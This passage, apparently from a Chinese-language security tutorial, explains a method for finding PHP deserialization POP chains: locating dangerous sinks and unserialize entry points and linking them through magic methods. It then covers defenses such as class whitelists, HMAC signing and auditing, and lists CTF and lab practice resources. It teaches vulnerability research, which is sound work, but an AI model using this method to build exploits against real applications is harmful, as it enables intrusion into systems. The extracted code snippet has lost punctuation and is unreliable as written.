寻找POP链的通用方法论面对一套陌生的、庞大的源码如何系统地寻找POP链定位危险函数Sink全局搜索eval(),assert(),system(),exec(),shell_exec(),file_put_contents(),unlink(),include()/require()等函数。回溯调用链找到危险函数后向上回溯看它是被哪个类方法调用的。这个方法是否是魔术方法如果不是看哪些魔术方法会调用它。定位入口点Source全局搜索unserialize()函数看哪些参数用户可控。同时识别所有定义了__wakeup()和__destruct()的类它们都是潜在的链头。绘制调用图将找到的Sink和Source用中间可能存在的魔术方法__toString,__get,__call,__invoke连接起来。关注对象属性之间的赋值关系一个类的属性是否可能是另一个类的对象。关注“胶水”类那些定义了__call,__get,__toString等魔术方法并且在方法内调用了其他对象属性或方法的类往往是连接不同功能模块的“胶水”是POP链中的关键跳板。6. 防御之道开发者如何避免反序列化漏洞作为攻击者我们学习利用作为开发者我们更应学习防御。根本方法不要反序列化不可信数据。如果可能使用JSON、XML等更安全的格式进行数据交换。使用安全的白名单机制如果必须使用反序列化应实现一个严格的白名单只允许反序列化预期的、安全的类。PHP的unserialize()函数可以设置第二个参数通过实现__autoload或spl_autoload_register并结合白名单检查来实现。function safe_unserialize($data) { $allowed_classes [‘SafeClass1‘, ‘SafeClass2‘]; $result unserialize($data, [‘allowed_classes‘ $allowed_classes]); return $result; }签名与验签对序列化后的数据进行数字签名如HMAC在反序列化前验证其完整性和来源可靠性。日志与监控记录所有反序列化操作特别是失败的尝试用于异常检测和事后溯源。代码审计在代码审查中重点关注unserialize()的使用点检查其参数是否用户可控。审查所有魔术方法的实现确保其中没有危险操作或不可控的参数传递。7. 学习路径与资源推荐从看懂到会挖你需要持续的练习。动手环境在本地搭建PHP环境如PHPStudy, Docker将文中的案例代码复制过去自己动手构造、调试、触发。调试时可以用error_log(print_r($object, true))来打印对象状态。CTF平台攻防世界AdWorld、BUUCTF有大量分类好的、难度递进的反序列化题目从入门到精通。CTFHub提供技能树可以专项练习反序列化。靶场项目Vulhub、DVWA、Web for Pentester提供包含反序列化漏洞的完整虚拟机或Docker环境适合做综合渗透练习。经典文章与仓库PHP反序列化由浅入深很多安全博客的系列文章是很好的入门资料。PHPGGC仓库即使不直接用学习里面收集的各种POP链构造思路也受益匪浅。《白帽子讲Web安全》有专门章节讲解反序列化漏洞原理。这条路从理解“对象变成字符串再变回来”开始到能够在一套数万行代码的框架中挖掘出深藏的POP链需要大量的代码阅读和逻辑推理训练。我个人的体会是每成功构造一条复杂的POP链尤其是通过审计真实开源代码挖到的那种“柳暗花明”的成就感是无与伦比的。记住最关键的一步永远是静下心来仔细读代码画出数据流图。当你把那些看似无关的类和方法通过属性引用串联起来时你就掌握了这门“化腐朽为神奇”的艺术。
